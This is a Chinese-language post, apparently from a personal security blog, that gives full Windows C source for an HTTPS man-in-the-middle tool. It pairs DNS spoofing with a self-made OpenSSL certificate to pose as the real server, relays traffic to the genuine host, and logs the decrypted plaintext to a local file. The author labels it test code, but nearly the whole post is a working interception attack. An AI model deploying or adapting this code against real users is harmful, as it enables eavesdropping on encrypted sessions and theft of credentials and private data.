一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。
代码:
#include <stdio.h> #include <winsock2.h> #include <openssl/ssl.h> #include <openssl/err.h>
#pragma comment ( lib, "libeay32.lib" ) #pragma comment ( lib, "ssleay32.lib" ) #pragma comment ( lib, "ws2_32.lib" )
#define PRIVATE_KEY_PWD "1234" #define CERT_FILE "yunshu.crt" #define KEY_FILE "yunshu.key" #define MAX_USER 10 #define LISTEN_PORT 443 #define TIME_OUT 1000000 // 1秒
#define DEBUG
#ifdef DEBUG #define LOG_FILE "c:/https.txt" // 记录数据到文件 void Log_File( char *str ); #endif
// 目的主机 char target_host[20] = { 0 }; unsigned int target_port = 0;
// 输出SSL错误函数 void SSL_Error( char *custom_string );
// 初始化SSL库作为服务端 SSL *Server_SSL_Init( );
// 初始化SSL库作为客户端 SSL *Client_SSL_Init( );
// 初始化Socket作为服务端 SOCKET Server_Socket_Init( );
// 初始化Socket作为客户端 SOCKET Client_Socket_Init( );
// 处理客户端函数 void WINAPI FowardPacket( LPVOID argument );
// 程序入口,主函数 int main( int argc, char *argv[] ) { if( argc != 3 ) { printf( "Usage: %s <target_host> <target_port>/n", argv[0] ); printf( "Code by 云舒,just for test!/n" );
return -1; }
SOCKET server_sock = Server_Socket_Init( ); if( INVALID_SOCKET == server_sock ) { return -1; } // 加载加密算法库 SSL_library_init( );
// 加载错误信息库 SSL_load_error_strings( );
// 开始接受连接 SOCKET client_sock; // 来自被攻击者的socket SOCKADDR_IN client_sin; int sin_len = sizeof(SOCKADDR_IN);
target_port = atoi( argv[2] ); struct hostent *phost = gethostbyname( argv[1] ); if( phost == NULL ) { printf( "Resolve %s error!/n" , argv[1] ); return -1; } memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) ); memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length ); strcpy( target_host, inet_ntoa( client_sin.sin_addr ) ); printf( "Target host is %s(%s), port is %d/n", target_host, argv[1], target_port );
memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) ); while( TRUE ) { client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len );
printf( "connect from %s/n", inet_ntoa( client_sin.sin_addr ) ); if( SOCKET_ERROR == client_sock ) { printf( "accept error./n" ); continue; }
HANDLE h_thread; DWORD thread_id = 0;
h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id ); if( NULL == h_thread ) { printf( "create thread error./n" ); }
CloseHandle( h_thread ); }
closesocket( server_sock ); WSACleanup( );
return 0; }
void WINAPI FowardPacket( LPVOID argument ) { char buffer[2048] = { 0 };
// 生成SSL,作为服务端,响应被攻击者的请求 SSL *server_ssl = Server_SSL_Init( ); if( NULL == server_ssl ) { return; }
printf( "Init ssl as server success!/n" );
// 生成SSL,作为客户端,向真实主机发起请求 SSL *client_ssl = Client_SSL_Init( ); if( NULL == client_ssl ) { return; }
printf( "Init ssl as client success!/n" );
// 作为服务端端的socket,响应被攻击者的请求 SOCKET server_sock = (SOCKET)(*(SOCKET *)argument);
// 绑定ssl和socket,此处作为被攻击者的服务器 SSL_set_fd( server_ssl, server_sock );
int ret = SSL_accept( server_ssl ); if( -1 == ret ) { SSL_Error( "SSL_accept error" ); return; }
// 作为客户端的socket,向真实主机发起请求 SOCKET client_sock = Client_Socket_Init( ); if( INVALID_SOCKET == client_sock ) { return; } SSL_set_fd( client_ssl, client_sock ); ret = SSL_connect( client_ssl ); if( -1 == ret ) { SSL_Error( "SSL_connect error" ); return; }
fd_set fd_read; timeval time_out;
while( TRUE ) { time_out.tv_sec = 0; time_out.tv_usec = TIME_OUT;
FD_ZERO( &fd_read ); FD_SET( server_sock, &fd_read ); FD_SET( client_sock, &fd_read );
ret = select( 0, &fd_read, NULL, NULL, &time_out ); if( SOCKET_ERROR == ret ) { printf( "socket error: %d/n", GetLastError() ); break; } else if( 0 == ret ) { continue; } else { if( FD_ISSET( server_sock, &fd_read ) ) { memset( (void *)buffer, 0, sizeof(buffer) );
ret = SSL_read( server_ssl, buffer, sizeof(buffer) ); if( ret > 0 ) { ret = SSL_write( client_ssl, buffer, strlen(buffer) ); if( strlen(buffer) != ret ) { SSL_Error( "Send data to real server error" ); } else { printf( "send %d bytes to real server/n", ret ); #ifdef DEBUG Log_File( buffer ); #endif } } } else if( FD_ISSET( client_sock, &fd_read ) ) { memset( (void *)buffer, 0, sizeof(buffer) );
ret = SSL_read( client_ssl, buffer, sizeof(buffer) ); if( ret > 0 ) { //printf( "RESPONSE:/n/t%s/n", buffer );
ret = SSL_write( server_ssl, buffer, strlen(buffer) ); if( strlen(buffer) != ret ) { SSL_Error( "Send data to customer error" ); } else { printf( "send %d bytes to customer's host/n", ret ); #ifdef DEBUG Log_File( buffer ); #endif } } } } } SSL_shutdown( server_ssl ); SSL_shutdown( client_ssl ); SSL_free( server_ssl ); SSL_free( client_ssl );
closesocket( server_sock ); closesocket( client_sock );
return; }
void SSL_Error( char *custom_string ) { char error_buffer[256] = { 0 }; printf( "%s, ", custom_string ); ERR_error_string( ERR_get_error(), error_buffer ); printf( "%s/n", error_buffer ); }
SSL *Server_SSL_Init( ) { // 加载SSL环境 SSL_CTX *server_ctx = SSL_CTX_new( SSLv23_server_method() ); if( NULL == server_ctx ) { SSL_Error( "Init ssl ctx error" ); return NULL; }
// 设置证书文件的口令 SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD );
// 加载证书 if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) <= 0 ) { SSL_Error( "Load cert file error" ); return NULL; }
// 加载私钥 if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) <= 0 ) { SSL_Error( "Load cert file error" ); return NULL; }
// 检查私钥和证书是否匹配 if( !SSL_CTX_check_private_key( server_ctx ) ) { printf( "Private key does not match the certificate public key/n" ); return NULL; }
SSL *ssl = SSL_new (server_ctx); if( NULL == ssl ) { SSL_Error( "Create ssl error" ); return NULL; }
return ssl; }
SSL *Client_SSL_Init( ) { SSL_CTX *client_ctx;
client_ctx = SSL_CTX_new( SSLv23_client_method() );
if( NULL == client_ctx ) { SSL_Error( "Init ssl ctx error" ); return NULL; }
SSL *ssl = SSL_new (client_ctx); if( NULL == ssl ) { SSL_Error( "Create ssl error" ); return NULL; }
return ssl; }
SOCKET Server_Socket_Init( ) { WSADATA wsa;
WSAStartup( 0x0202, &wsa ); SOCKET sock = socket( AF_INET, SOCK_STREAM, 0 ); if( INVALID_SOCKET == sock ) { printf( "Create socket as a server error" ); return INVALID_SOCKET; }
SOCKADDR_IN server_sin; memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) );
server_sin.sin_family = AF_INET; server_sin.sin_addr.S_un.S_addr = INADDR_ANY; server_sin.sin_port = htons( 443 );
int ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) ); if( SOCKET_ERROR == ret ) { printf( "bind error: %d/n", GetLastError() ); return INVALID_SOCKET; }
ret = listen( sock, MAX_USER ); if( SOCKET_ERROR == ret ) { printf( "listen error./n" ); return INVALID_SOCKET; }
printf( "Listening on all local ip address, waiting for connect.../n" );
return sock; }
SOCKET Client_Socket_Init( ) { SOCKET client_sock = socket( AF_INET, SOCK_STREAM, 0 );
if( INVALID_SOCKET == client_sock ) { printf( "create socket as a client error./n" ); return -1; } SOCKADDR_IN client_sin; memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
client_sin.sin_family = AF_INET; client_sin.sin_addr.S_un.S_addr = inet_addr( target_host ); client_sin.sin_port = htons( target_port );
int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) ); if( SOCKET_ERROR == ret ) { printf( "connect to real server %s error", target_host ); return INVALID_SOCKET; }
printf( "connect to real server success!/n" );
return client_sock; }
#ifdef DEBUG void Log_File( char * str ) { FILE *fp = fopen( LOG_FILE, "w+" ); if( NULL == fp ) { return; }
fputs( str, fp ); fclose( fp ); } #endif | |